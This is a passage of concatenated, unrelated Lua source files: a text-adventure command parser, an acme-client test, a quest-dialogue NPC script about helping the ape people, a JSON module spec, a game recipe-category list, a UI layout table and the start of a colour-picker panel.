k="%(%.%+%)"
for w in string.gmatch(commandslist,k) do
commandslist=string.gsub(commandslist,k,"")
end
print(commandslist)
return commandslist
end
--actions.commands
function actions.commands(param)
-- this could do more
commands()
end
--actions.door
function actions.door(param)
if string.len(param) == 1 then
if param == "l" then param = "left"
elseif param == "r" then param = "right"
elseif param == "e" then param = "east"
elseif param == "w" then param = "west"
elseif param == "n" then param = "north"
elseif param == "s" then param = "south"
elseif param == "i" then param = "in"
elseif param == "o" then param = "out"
elseif param == "u" then param = "up"
elseif param == "d" then param = "down"
end
end
local newroomdir = room.current.door[param]
if not newroomdir then
for k,v in pairs(room.current.door) do
if v.destination == param then
newroomdir = v
break
end
end
end
if newroomdir then
local newroom = room.all[newroomdir.destination]
if newroomdir.locked or newroom and newroom:enter() then
if newroom.forbidden then
print(newroom.forbidden)
else
print("You can't go there!")
end
return
end
room.current = newroom
info()
end
end
--actions.look
function actions.look(param)
if param ~= 'around' and param ~= 'room' then
local obj = getobj(param)
if obj == nil then
for i,o in ipairs(player.inventory) do
if o._name == param or o.description:lower() == param then
obj=o
end
end
end
if obj then
if obj.longdescr then
print(obj.longdescr)
else
print("A mysterious "..(obj.description or param))
end
else
if param ~= 'look' then print("I see no "..param.." here.") end
end
else
info()
print("You see:")
for k,v in pairs(room.current.objects) do
print('* '..(v.quant or 'a ')..(v.description or k))
end
print("\n[exits]")
for k,v in pairs(room.current.door) do
print('* '..k..' (leading to '..v.destination..')')
end
end
end
--actions.pickup
function actions.pickup(param)
local obj = getobj(param)
if obj then
if obj.pickup and obj.pickup() then --veto if pickup() returns true
return
end
table.insert(player.inventory, obj)
room.current.objects[param] = nil
print("You picked up "..(obj.description or param)..".")
else
print("I see no "..param.." here.")
end
end
function actions.putdown(param)
local obj, i = getinvobj(param)
if obj then
if obj.putdown and obj.putdown() then --veto if pickup() returns true
return
end
table.remove(player.inventory, i)
room.current.objects._name = obj
print("You put "..(obj.description or param).." down.")
else
print("You have no "..param.." in your inventory.")
end
end
function actions.checkinventory()
if #player.inventory~=0 then
print("In your inventory you find:")
for k,v in pairs(player.inventory) do
print('* '..(v.quant or 'a ')..(v.description or v._name))
end
else
print("In your inventory you find nothing.")
end
end
else
validate = {}
end
-- get exits
function actions.exits(param)
room.current.exits =""
for k,v in pairs(room.current.door) do
room.current.exits=room.current.exits.. '\n* '..k..' (leading to '..v.destination..')' ;
end
print("\n[ EXITS ]"..room.current.exits)
end
-- end actions
--fixvalids
function fixvalids()
for action,valids in pairs(validate) do
for i,valid in ipairs(valids) do
valids[i] = '^'..valid
end
end
end
--doaction
function doaction(action, param)
actions[action](param)
end
-- parse
function parse(text)
local text = text:lower()
if text == 'exit' then return 'exit' end
for action,valids in pairs(validate) do
for i,valid in ipairs(valids) do
local result = string.match(text, valid)
if result then
doaction(action, result)
return
end
end
end
if notfoundhandler then
notfoundhandler(text)
end
end
-- rungame;
-- parse commandline input;
function rungame()
if gamename then print(gamename) end
if gamedesc then print(gamedesc) end
if commandstable then print(commands()) end
--startgame location
if not room.current then room.current = select(2, next(room.all)) end
--exit because there are no rooms
if not room.current then print("No rooms are loaded. Quitting...") return end
--room.current.description
info()
-- variable to hold the terminal input
local input
--prompt
local ps1 = ps1 or "> "
--variable to hold resolution of the parse
local res
if console == true then return end
-- write prompt wait on input
while true do
io.stdout:write(ps1)
input = io.stdin:read()
-- write linefeed on empty input
if not input then io.stdout:write('\n') return end
--
res = parse(input)
if res == 'exit' then return end
end
end
|
#!/usr/bin/env tarantool
--package.path = "../acme-client/?.lua;"..package.path
require('test.ide-debug')
local acmeClient = require("acme-client")
local tap = require('tap')
local test = tap.test('acme-client tests')
local function main_acme_client_test()
local settings = {
dnsName = "myname.dns",
certPath = "/home/alex/projects/acme-client/test/cert/",
}
local function myChallengeSetup(key, value)
return {key, value}
end
local acme = acmeClient.new(settings, myChallengeSetup)
acme:getCert() --https://www.switch.ch/pki/manage/request/csr-openssl/
local validTo = acme:validTo()
print(os.date("%Y.%m.%d %H:%M:%S", validTo))
end
main_acme_client_test()
--[[
test:plan(1)
test:test('acme-client', function(test)
test:plan(1)
--test:is(kit.test(1), 11, "Lua function in init.lua")
--main_acme_client_test()
end)
os.exit(test:check() == true and 0 or -1)
]]
|
local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end
function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end
function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end
function onThink() npcHandler:onThink() end
local function greetCallback(cid)
if Player(cid):getStorageValue(Storage.TheApeCity.Questline) < 12 then
npcHandler:setMessage(MESSAGE_GREET, 'Oh! Hello! Hello! Did not notice! So {busy}.')
else
npcHandler:setMessage(MESSAGE_GREET, 'Be greeted, friend of the ape people. If you want to {trade}, just ask for my offers. If you are injured, ask for healing.')
end
return true
end
local function releasePlayer(cid)
if not Player(cid) then
return
end
npcHandler:releaseFocus(cid)
npcHandler:resetNpc(cid)
end
local function creatureSayCallback(cid, type, msg)
if not npcHandler:isFocused(cid) then
return false
end
local player = Player(cid)
local questProgress = player:getStorageValue(Storage.TheApeCity.Questline)
if msgcontains(msg, 'mission') then
if questProgress < 1 then
npcHandler:say('These are dire times for our people. Problems plenty are in this times. But me people not grant trust easy. Are you willing to prove you friend of ape people?', cid)
npcHandler.topic[cid] = 1
elseif questProgress == 1 then
if player:getStorageValue(Storage.QuestChests.WhisperMoss) == 1 then
npcHandler:say('Oh, you brought me whisper moss? Good hairless ape you are! Can me take it?', cid)
npcHandler.topic[cid] = 3
else
npcHandler:say('Please hurry. Bring me whisper moss from dworc lair. Make sure it is from dworc lair! Take it yourself only! If you need to hear background of all again, ask Hairycles for {background}.', cid)
end
elseif questProgress == 2 then
npcHandler:say({
'Whisper moss strong is, but me need liquid that humans have to make it work ...',
'Our raiders brought it from human settlement, it\'s called cough syrup. Go ask healer there for it.'
}, cid)
player:setStorageValue(Storage.TheApeCity.Questline, 3)
elseif questProgress == 3 then
npcHandler:say('You brought me that cough syrup from human healer me asked for?', cid)
npcHandler.topic[cid] = 4
elseif questProgress == 4 then
npcHandler:say('Little ape should be healthy soon. Me so happy is. Thank you again! But me suspect we in more trouble than we thought. Will you help us again?', cid)
npcHandler.topic[cid] = 5
elseif questProgress == 5 then
npcHandler:say('You got scroll from lizard village in south east?', cid)
npcHandler.topic[cid] = 7
elseif questProgress == 6 then
npcHandler:say({
'Ah yes that scroll. Sadly me not could read it yet. But the holy banana me insight gave! In dreams Hairycles saw where to find solution. ...',
'Me saw a stone with lizard signs and other signs at once. If you read signs and tell Hairycles, me will know how to read signs. ...',
'You go east to big desert. In desert there city. East of city under sand hidden tomb is. You will have to dig until you find it, so take shovel. ...',
'Go down in tomb until come to big level and then go down another. There you find a stone with signs between two huge red stones. ...',
'Read it and return to me. Are you up to that challenge?'
}, cid)
npcHandler.topic[cid] = 8
elseif questProgress == 7 then
if player:getStorageValue(Storage.TheApeCity.ParchmentDecyphering) == 1 then
npcHandler:say('Ah yes, you read the signs in tomb? Good! May me look into your mind to see what you saw?', cid)
npcHandler.topic[cid] = 9
else
npcHandler:say('You still don\'t know signs on stone, go and look for it in tomb east in desert.', cid)
end
elseif questProgress == 8 then
npcHandler:say({
'So much there is to do for Hairycles to prepare charm that will protect all ape people. ...',
'You can help more. To create charm of life me need mighty token of life! Best is egg of a regenerating beast as a hydra is. ...',
'Bring me egg of hydra please. You may find it in lair of Hydra at little lake south east of our lovely city Banuta! You think you can do?'
}, cid)
npcHandler.topic[cid] = 10
elseif questProgress == 9 then
npcHandler:say('You bring Hairycles egg of hydra?', cid)
npcHandler.topic[cid] = 11
elseif questProgress == 10 then
npcHandler:say({
'Last ingredient for charm of life is thing to lure magic. Only thing me know like that is mushroom called witches\' cap. Me was told it be found in isle called Fibula, where humans live. ...',
'Hidden under Fibula is a secret dungeon. There you will find witches\' cap. Are you willing to go there for good ape people?'
}, cid)
npcHandler.topic[cid] = 12
elseif questProgress == 11 then
npcHandler:say('You brought Hairycles witches\' cap from Fibula?', cid)
npcHandler.topic[cid] = 13
elseif questProgress == 12 then
npcHandler:say({
'Mighty life charm is protecting us now! But my people are still in danger. Danger from within. ...',
'Some of my people try to mimic lizards to become strong. Like lizards did before, this cult drinks strange fluid that lizards left when fled. ...',
'Under the city still the underground temple of lizards is. There you find casks with red fluid. Take crowbar and destroy three of them to stop this madness. Are you willing to do that?'
}, cid)
npcHandler.topic[cid] = 14
elseif questProgress == 13 then
if player:getStorageValue(Storage.TheApeCity.Casks) == 3 then
npcHandler:say('You do please Hairycles again, friend. Me hope madness will not spread further now. Perhaps you are ready for other mission.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 14)
else
npcHandler:say('Please destroy three casks in the complex beneath Banuta, so my people will come to senses again.', cid)
end
elseif questProgress == 14 then
npcHandler:say({
'Now that the false cult was stopped, we need to strengthen the spirit of my people. We need a symbol of our faith that ape people can see and touch. ...',
'Since you have proven a friend of the ape people I will grant you permission to enter the forbidden land. ...',
'To enter the forbidden land in the north-east of the jungle, look for a cave in the mountains east of it. There you will find the blind prophet. ...',
'Tell him Hairycles you sent and he will grant you entrance. ...',
'Forbidden land is home of Bong. Holy giant ape big as mountain. Don\'t annoy him in any way but look for a hair of holy ape. ...',
'You might find at places he has been, should be easy to see them since Bong is big. ...',
'Return a hair of the holy ape to me. Will you do this for Hairycles?'
}, cid)
npcHandler.topic[cid] = 15
elseif questProgress == 15 then
if player:getStorageValue(Storage.TheApeCity.HolyApeHair) == 1 then
npcHandler:say('You brought hair of holy ape?', cid)
npcHandler.topic[cid] = 16
else
npcHandler:say('Get a hair of holy ape from forbidden land in east. Speak with blind prophet in cave.', cid)
end
elseif questProgress == 16 then
npcHandler:say({
'You have proven yourself a friend, me will grant you permission to enter the deepest catacombs under Banuta which we have sealed in the past. ...',
'Me still can sense the evil presence there. We did not dare to go deeper and fight creatures of evil there. ...',
'You may go there, fight the evil and find the monument of the serpent god and destroy it with hammer me give to you. ...',
'Only then my people will be safe. Please tell Hairycles, will you go there?'
}, cid)
npcHandler.topic[cid] = 17
elseif questProgress == 17 then
if player:getStorageValue(Storage.TheApeCity.SnakeDestroyer) == 1 then
npcHandler:say({
'Finally my people are safe! You have done incredible good for ape people and one day even me brethren will recognise that. ...',
'I wish I could speak for all when me call you true friend but my people need time to get accustomed to change. ...',
'Let us hope one day whole Banuta will greet you as a friend. Perhaps you want to check me offers for special friends... or shamanic powers.'
}, cid)
player:setStorageValue(Storage.TheApeCity.Questline, 18)
player:addAchievement('Friend of the Apes')
else
npcHandler:say('Me know its much me asked for but go into the deepest catacombs under Banuta and destroy the monument of the serpent god.', cid)
end
else
npcHandler:say('No more missions await you right now, friend. Perhaps you want to check me offers for special friends... or shamanic powers.', cid)
end
elseif msgcontains(msg, 'background') then
if questProgress == 1
and player:getStorageValue(Storage.QuestChests.WhisperMoss) ~= 1 then
npcHandler:say({
'So listen, little ape was struck by plague. Hairycles not does know what plague it is. That is strange. Hairycles should know. But Hairycles learnt lots and lots ...',
'Me sure to make cure so strong to drive away all plague. But to create great cure me need powerful components ...',
'Me need whisper moss. Whisper moss growing south of human settlement is. Problem is, evil little dworcs harvest all whisper moss immediately ...',
'Me know they hoard some in their underground lair. My people raided dworcs often before humans came. So we know the moss is hidden in east of upper level of dworc lair ...',
'You go there and take good moss from evil dworcs. Talk with me about mission when having moss.'
}, cid)
end
elseif msgcontains(msg, 'outfit') or msgcontains(msg, 'shamanic') then
if questProgress == 18 then
if player:getStorageValue(Storage.TheApeCity.ShamanOutfit) ~= 1 then
npcHandler:say('Me truly proud of you, friend. You learn many about plants, charms and ape people. Me want grant you shamanic power now. You ready?', cid)
npcHandler.topic[cid] = 18
else
npcHandler:say('You already are shaman and doctor. Me proud of you.', cid)
end
else
npcHandler:say('You not have finished journey for wisdom yet, young human.', cid)
end
elseif msgcontains(msg, 'heal') then
if questProgress > 11 then
if player:getHealth() < 50 then
player:addHealth(50 - player:getHealth())
player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE)
elseif player:getCondition(CONDITION_FIRE) then
player:removeCondition(CONDITION_FIRE)
player:getPosition():sendMagicEffect(CONST_ME_MAGIC_GREEN)
elseif player:getCondition(CONDITION_POISON) then
player:removeCondition(CONDITION_POISON)
player:getPosition():sendMagicEffect(CONST_ME_MAGIC_RED)
else
npcHandler:say('You look for food and rest.', cid)
end
else
npcHandler:say('You look for food and rest.', cid)
end
elseif npcHandler.topic[cid] == 1 then
if msgcontains(msg, 'yes') then
npcHandler:say('To become friend of ape people a long and difficult way is. We do not trust easy but help is needed. Will you listen to story of Hairycles?', cid)
npcHandler.topic[cid] = 2
elseif msgcontains(msg, 'no') then
npcHandler:say('Hairycles sad is now. But perhaps you will change mind one day.', cid)
npcHandler.topic[cid] = 0
end
elseif npcHandler.topic[cid] == 2 then
if msgcontains(msg, 'yes') then
npcHandler:say({
'So listen, little ape was struck by plague. Hairycles not does know what plague it is. That is strange. Hairycles should know. But Hairycles learnt lots and lots ...',
'Me sure to make cure so strong to drive away all plague. But to create great cure me need powerful components ...',
'Me need whisper moss. Whisper moss growing south of human settlement is. Problem is, evil little dworcs harvest all whisper moss immediately ...',
'Me know they hoard some in their underground lair. My people raided dworcs often before humans came. So we know the moss is hidden in east of upper level of dworc lair ...',
'You go there and take good moss from evil dworcs. Talk with me about mission when having moss.'
}, cid)
player:setStorageValue(Storage.TheApeCity.Started, 1)
player:setStorageValue(Storage.TheApeCity.Questline, 1)
player:setStorageValue(Storage.TheApeCity.DworcDoor, 1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Hairycles thought better of you.', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 3 then
if msgcontains(msg, 'yes') then
if not player:removeItem(4838, 1) then
npcHandler:say('Stupid, you no have the moss me need. Go get it. It\'s somewhere in dworc lair. If you lost it, they might restocked it meanwhile. If you need to hear background of all again, ask Hairycles for {background}.', cid)
player:setStorageValue(Storage.QuestChests.WhisperMoss, -1)
return true
end
npcHandler:say('Ah yes! That\'s it. Thank you for bringing mighty whisper moss to Hairycles. It will help but still much is to be done. Just ask for other mission if you ready.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 2)
elseif msgcontains(msg, 'no') then
npcHandler:say('Strange being you are! Our people need help!', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 4 then
if msgcontains(msg, 'yes') then
if not player:removeItem(4839, 1) then
npcHandler:say('No no, not right syrup you have. Go get other, get right health syrup.', cid)
return true
end
npcHandler:say('You so good! Brought syrup to me! Thank you, will prepare cure now. Just ask for {mission} if you want help again.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 4)
elseif msgcontains(msg, 'no') then
npcHandler:say('Please hurry, urgent it is!', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 5 then
if msgcontains(msg, 'yes') then
npcHandler:say({
'So listen, please. Plague was not ordinary plague. That\'s why Hairycles could not heal at first. It is new curse of evil lizard people ...',
'I think curse on little one was only a try. We have to be prepared for big strike ...',
'Me need papers of lizard magician! For sure you find it in his hut in their dwelling. It\'s south east of jungle. Go look there please! Are you willing to go?'
}, cid)
npcHandler.topic[cid] = 6
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Me expected better from you!', cid)
addEvent(releasePlayer, 1000, cid)
npcHandler.topic[cid] = 0
end
elseif npcHandler.topic[cid] == 6 then
if msgcontains(msg, 'yes') then
npcHandler:say('Good thing that is! Report about your mission when have scroll.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 5)
player:setStorageValue(Storage.TheApeCity.ChorDoor, 1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Me expected better from you!', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 7 then
if msgcontains(msg, 'yes') then
if not player:removeItem(5956, 1) then
if player:getStorageValue(Storage.QuestChests.OldParchment) == 1 then
npcHandler:say('That\'s bad news. If you lost it, only way to get other is to kill holy serpents. But you can\'t go there so you must ask adventurers who can.', cid)
else
npcHandler:say('No! That not scroll me looking for. Silly hairless ape you are. Go to village of lizards and get it there on your own!', cid)
end
return true
end
npcHandler:say('You brought scroll with lizard text? Good! I will see what text tells me! Come back when ready for other mission.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 6)
elseif msgcontains(msg, 'no') then
npcHandler:say('That\'s bad news. If you lost it, only way to get other is to kill holy serpents. But you can\'t go there so you must ask adventurers who can.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 8 then
if msgcontains(msg, 'yes') then
npcHandler:say('Good thing that is! Report about mission when you have read those signs.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 7)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Me expected better from you!', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 9 then
if msgcontains(msg, 'yes') then
npcHandler:say('Oh, so clear is all now! Easy it will be to read the signs now! Soon we will know what to do! Thank you again! Ask for mission if you feel ready.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 8)
player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me need to see it in your mind, other there is no way to proceed.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 10 then
if msgcontains(msg, 'yes') then
npcHandler:say('You brave hairless ape! Get me hydra egg. If you lose egg, you probably have to fight many, many hydras to get another.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 9)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Me expected better from you!', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 11 then
if msgcontains(msg, 'yes') then
if not player:removeItem(4850, 1) then
npcHandler:say('You not have egg of hydra. Please get one!', cid)
return true
end
npcHandler:say('Ah, the egg! Mighty warrior you be! Thank you. Hairycles will put it at safe place immediately.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 10)
elseif msgcontains(msg, 'no') then
npcHandler:say('Please hurry. Hairycles not knows when evil lizards strike again.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 12 then
if msgcontains(msg, 'yes') then
npcHandler:say('Long journey it will take, good luck to you.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 11)
player:setStorageValue(Storage.TheApeCity.FibulaDoor, 1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Me expected better from you!', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 13 then
if msgcontains(msg, 'yes') then
if not player:removeItem(4840, 1) then
npcHandler:say('Not right mushroom you have. Find me a witches\' cap on Fibula!', cid)
return true
end
npcHandler:say('Incredible, you brought a witches\' cap! Now me can prepare mighty charm of life. Yet still other {missions} will await you, friend.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 12)
player:setStorageValue(Storage.TheApeCity.FibulaDoor, -1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Please try to find me a witches\' cap on Fibula.', cid)
addEvent(releasePlayer, 1000, cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 14 then
if msgcontains(msg, 'yes') then
npcHandler:say('Hairycles sure you will make it. Good luck, friend.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 13)
player:setStorageValue(Storage.TheApeCity.CasksDoor, 1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Please reconsider.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 15 then
if msgcontains(msg, 'yes') then
npcHandler:say('Hairycles proud of you. Go and find holy hair. Good luck, friend.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 15)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Please reconsider.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 16 then
if msgcontains(msg, 'yes') then
if not player:removeItem(4843, 1) then
npcHandler:say('You no have hair. You lost it? Go and look again.', cid)
player:setStorageValue(Storage.TheApeCity.HolyApeHair, -1)
return true
end
npcHandler:say('Incredible! You got a hair of holy Bong! This will raise the spirit of my people. You are truly a friend. But one last mission awaits you.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 16)
elseif msgcontains(msg, 'no') then
npcHandler:say('You no have hair. You lost it? Go and look again.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 17 then
if msgcontains(msg, 'yes') then
npcHandler:say('Hairycles sure you will make it. Just use hammer on all that looks like snake or lizard. Tell Hairycles if you succeed with mission.', cid)
player:setStorageValue(Storage.TheApeCity.Questline, 17)
player:addItem(4846, 1)
elseif msgcontains(msg, 'no') then
npcHandler:say('Me sad. Please reconsider.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 18 then
if msgcontains(msg, 'yes') then
npcHandler:say('Friend of the ape people! Take my gift and become me apprentice! Here is shaman clothing for you!', cid)
player:addOutfit(154)
player:addOutfit(158)
player:setStorageValue(Storage.TheApeCity.ShamanOutfit, 1)
player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE)
elseif msgcontains(msg, 'no') then
npcHandler:say('Come back if change mind.', cid)
end
npcHandler.topic[cid] = 0
elseif npcHandler.topic[cid] == 19 then
if msgcontains(msg, 'yes') then
if not player:removeItem(8111, 1) then
npcHandler:say('You have no cookie that I\'d like.', cid)
return true
end
player:setStorageValue(Storage.WhatAFoolishQuest.CookieDelivery.Hairycles, 1)
if player:getCookiesDelivered() == 10 then
player:addAchievement('Allow Cookies?')
end
Npc():getPosition():sendMagicEffect(CONST_ME_GIFT_WRAPS)
npcHandler:say('Thank you, you are ... YOU SON OF LIZARD!', cid)
addEvent(releasePlayer, 1000, cid)
elseif msgcontains(msg, 'no') then
npcHandler:say('I see.', cid)
end
npcHandler.topic[cid] = 0
end
return true
end
keywordHandler:addKeyword({'busy'}, StdModule.say, {npcHandler = npcHandler, text = 'Me great {wizard}. Me great doctor of {ape people}. Me know many plants. Me old and me have seen many things.'})
keywordHandler:addKeyword({'wizard'}, StdModule.say, {npcHandler = npcHandler, text = 'We see many things and learning quick. Merlkin magic learn quick, quick. We just watch and learn. Sometimes we try and learn.'})
keywordHandler:addKeyword({'things'}, StdModule.say, {npcHandler = npcHandler, text = 'Things not good now. Need helper to do {mission} for me people.'})
keywordHandler:addKeyword({'ape people'}, StdModule.say, {npcHandler = npcHandler, text = 'We be {kongra}, {sibang} and {merlkin}. Strange hairless ape people live in city called Port Hope.'})
keywordHandler:addKeyword({'kongra'}, StdModule.say, {npcHandler = npcHandler, text = 'Kongra verry strong. Kongra verry angry verry fast. Take care when kongra comes. Better climb on highest tree.'})
keywordHandler:addKeyword({'sibang'}, StdModule.say, {npcHandler = npcHandler, text = 'Sibang verry fast and funny. Sibang good gather food. Sibang know {jungle} well.'})
keywordHandler:addKeyword({'merlkin'}, StdModule.say, {npcHandler = npcHandler, text = 'Merlkin we are. Merlkin verry wise, merlkin learn many things quick. Teach other apes things a lot. Making {heal} and making {magic}.'})
keywordHandler:addKeyword({'magic'}, StdModule.say, {npcHandler = npcHandler, text = 'We see many things and learning quick. Merlkin magic learn quick, quick. We just watch and learn. Sometimes we try and learn.'})
keywordHandler:addKeyword({'jungle'}, StdModule.say, {npcHandler = npcHandler, text = 'Jungle is dangerous. Jungle also provides us food. Take care when in jungle and safe you be.'})
npcHandler:setCallback(CALLBACK_GREET, greetCallback)
npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())
|
--====================================================================--
-- spec/lua_json_spec.lua
--
-- Testing for lua-json-shim
--====================================================================--
package.path = './dmc_lua/?.lua;' .. package.path
--====================================================================--
--== Test: Lua JSON Shim
--====================================================================--
-- Semantic Versioning Specification: http://semver.org/
local VERSION = "0.1.0"
--====================================================================--
--== Setup, Constants
local json
--====================================================================--
--== Testing Setup
--====================================================================--
describe( "Module Test: json.lua", function()
it( "loads json module", function()
assert.is_nil( json )
json = require 'json'
assert.is.not_nil( json )
end)
end)
|
data:extend(
{
{
type = "recipe-category",
name = "crafting"
},
{
type = "recipe-category",
name = "advanced-crafting"
},
{
type = "recipe-category",
name = "smelting"
},
{
type = "recipe-category",
name = "chemistry"
},
{
type = "recipe-category",
name = "crafting-with-fluid"
},
{
type = "recipe-category",
name = "oil-processing"
},
{
type = "recipe-category",
name = "rocket-building"
},
{
type = "recipe-category",
name = "centrifuging"
},
{
type = "recipe-category",
name = "basic-crafting"
}
})
|
headBaseLayout=
{
name="headBaseLayout",type=0,typeName="View",time=0,x=0,y=0,width=92,height=92,visible=1,nodeAlign=kAlignCenter,fillParentWidth=0,fillParentHeight=0,
{
name="headView",type=0,typeName="View",time=107025700,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,
{
name="headRobot",type=0,typeName="Image",time=107026047,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/robot.png"
},
{
name="defaultHead",type=0,typeName="View",time=0,x=0,y=0,width=91,height=91,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter
},
{
name="headFrame",type=0,typeName="Button",time=107026085,x=7,y=-4,width=127,height=116,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/head_frame.png",file2="games/common/head/head_base/head_frame_gray.png"
},
{
name="vipFrame",type=0,typeName="Button",time=107026196,x=-3,y=0,width=96,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/head_vip_frame.png",file2="games/common/head/head_base/head_vip_frame_gray.png"
},
{
name="bankruptView",type=0,typeName="View",time=109955226,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0
}
},
{
name="headEmpty",type=0,typeName="View",time=107026553,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0,
{
name="inviteBtn",type=0,typeName="Button",time=107026602,x=0,y=0,width=202,height=104,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/invite_btn.png"
}
},
{
name="name_area",type=0,typeName="View",time=107027327,x=0,y=70,width=100,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,
{
name="nick_text",type=0,typeName="Text",time=107027370,x=0,y=0,width=111,height=29,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0,string=[[UserName]],fontSize=26,textAlign=kAlignCenter,colorRed=255,colorGreen=255,colorBlue=255
}
},
{
name="money_area",type=0,typeName="View",time=107027482,x=0,y=105,width=120,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,
{
name="money_icon",type=0,typeName="Image",time=107027533,x=0,y=0,width=26,height=26,nodeAlign=kAlignLeft,visible=1,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/money_icon.png"
},
{
name="money_view",type=0,typeName="View",time=107027617,x=0,y=0,width=90,height=30,nodeAlign=kAlignRight,visible=1,fillParentWidth=0,fillParentHeight=0
}
},
{
name="score_area",type=0,typeName="View",time=107027663,x=0,y=85,width=10,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,
{
name="score",type=0,typeName="Text",time=108830876,x=0,y=0,width=10,height=30,nodeAlign=kAlignLeft,visible=1,fillParentWidth=0,fillParentHeight=0,fontSize=24,textAlign=kAlignLeft,colorRed=255,colorGreen=255,colorBlue=255
}
},
{
name="ownerView",type=0,typeName="View",time=0,x=0,y=-70,width=80,height=40,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,
{
name="owner",type=1,typeName="Image",time=0,x=1,y=2,width=101,height=52,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,file="games/common/head/head_base/icon_owner.png"
}
},
{
name="net_tips",type=1,typeName="Image",time=0,x=103,y=-10,width=208,height=38,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="games/common/head/head_base/net_tips.png",
{
name="wifi",type=1,typeName="Image",time=0,x=12,y=8,width=31,height=24,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="games/common/head/head_base/wifi.png"
}
}
}
return headBaseLayout;
|
local PANEL = {}
local color_Error = Color( 255, 0, 255 )
AccessorFunc( PANEL, "m_ConVarR", "ConVarR" )
AccessorFunc( PANEL, "m_ConVarG", "ConVarG" )
AccessorFunc( PANEL, "m_ConVarB", "ConVarB" )
AccessorFunc( PANEL, "m_ConVarA", "ConVarA" )
AccessorFunc( PANEL, "m_buttonsize", "ButtonSize", FORCE_NUMBER )
AccessorFunc( PANEL, "m_NumRows", "NumRows", FORCE_NUMBER )
local function CreateColorTable( rows )
local rows = rows or 8
local index = 0
local ColorTable = {}
for i = 0, rows * 2 - 1 do -- HSV
local col = math.Round( math.min( i * ( 360 / ( rows * 2 ) ), 359 ) )
index = index + 1
ColorTable[ index ] = HSVToColor( 360 - col, 1, 1 )
end
for i = 0, rows - 1 do -- HSV dark
local col = math.Round( math.min( i * ( 360 / rows ), 359 ) )
index = index + 1
